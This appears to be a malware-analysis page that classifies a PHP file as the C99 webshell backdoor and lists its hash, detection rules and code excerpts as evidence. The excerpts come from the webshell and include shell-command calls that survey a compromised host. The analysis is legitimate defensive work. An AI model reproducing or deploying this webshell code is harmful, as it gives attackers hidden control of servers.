Hostile 100% php Download

Backdoor.PHP.C99Shell.b

PHP prepender virus infection chainDetects C99 Webshell
SHA-256b9f5ccd6ed927a0e9fc671c609534c69e42cdf4fad5e1a1d56b22184d6baf7dc

Evidence

Sets HTTP cookie via setcookie() lines 105–132
105:45… empty, auto-fill (/tmp or %WINDIR/temp)
106$tmpdir_log = "./"; //Directory logs of long processes (e.g. brute, scan...)
107
108$log_email = "user@host.tld"; //Default e-mail for sending logs
109
110$sort_default = "0a"; //Default sorting, 0 - number of colomn, "a"scending or "d"escending
111$sort_save = true; //If true then save sorting-position using cookies.
112
113// Registered file-types.
114// array(
115// "{action1}"=>array("ext1","ext2","ext3",...),
116// "{action2}"=>array("ext4","ext5","ext6",...),
117// ...
118// )
119$ftypes = array(
120 "html"=>array("html","htm","shtml"),
121 "txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"),
122 "exe"=>array("sh","install","bat","cmd"),
123 "ini"=>array("ini","inf"),
124 "code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"),
125 "img"=>array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"),
126 "sdb"=>array("sdb"),
127 "phpsess"=>array("sess"),
128 "download"=>array("exe","com","pif","src","lnk","zip","rar","gz","tar")
129);
130
131// Registered executable file-types.
132// …
Calls PHP unlink() lines 496–512
496:9… "execute"] = ($mode & 00100)?"x":"-";
497 $group["read"] = ($mode & 00040)?"r":"-";
498 $group["write"] = ($mode & 00020)?"w":"-";
499 $group["execute"] = ($mode & 00010)?"x":"-";
500 $world["read"] = ($mode & 00004)?"r":"-";
501 $world["write"] = ($mode & 00002)? "w":"-";
502 $world["execute"] = ($mode & 00001)?"x":"-";
503
504 if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";}
505 if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";}
506 if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";}
507
508 return $type.join("",$owner).join("",$group).join("",$world);
509}
510}
511if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return false;}}
512if (!function_exists("posix_getgrgid") and …
Detects Webshell Acid lines 538–555
⋯6 lines
544function view_perms_color($o)
545{
546 if (!is_readable($o)) {return "<font color=red>".view_perms(fileperms($o))."</font>";}
547 elseif (!is_writable($o)) {return "<font color=white>".view_perms(fileperms($o))."</font>";}
548 else {return "<font color=green>".view_perms(fileperms($o))."</font>";}
⋯7 lines
Opens own source via __FILE__ constant lines 662–691
662:7…
663 while ($row = mysql_fetch_assoc($res))
664 {
665 $keys = implode("`, `", array_keys($row));
666 $values = array_values($row);
667 foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
668 $values = implode("', '", $values);
669 $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n";
670 $out .= $sql;
671 }
⋯6 lines
678 {
679 $fp = fopen($file, "w");
680 if (!$fp) {$ret["err"][] = 2;}
681 else
682 {
⋯9 lines
Detects C99 Webshell lines 1585–1593
1585:5… playsecinfo("Distrib name (2)",myshellexec("cat /etc/*-realise"));
1586 displaysecinfo("CPU?",myshellexec("cat /proc/cpuinfo"));
1587 displaysecinfo("RAM",myshellexec("free -m"));
1588 displaysecinfo("HDD space",myshellexec("df -h"));
1589 displaysecinfo("List of Attributes",myshellexec("lsattr -a"));
1590 displaysecinfo("Mount options ",myshellexec("cat /etc/fstab"));
1591 displaysecinfo("Is cURL installed?",myshellexec("which curl"));
1592 displaysecinfo("Is lynx installed?",myshellexec("which lynx"));
1593 displaysecinfo("Is links installed?",myshellexec("which …

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.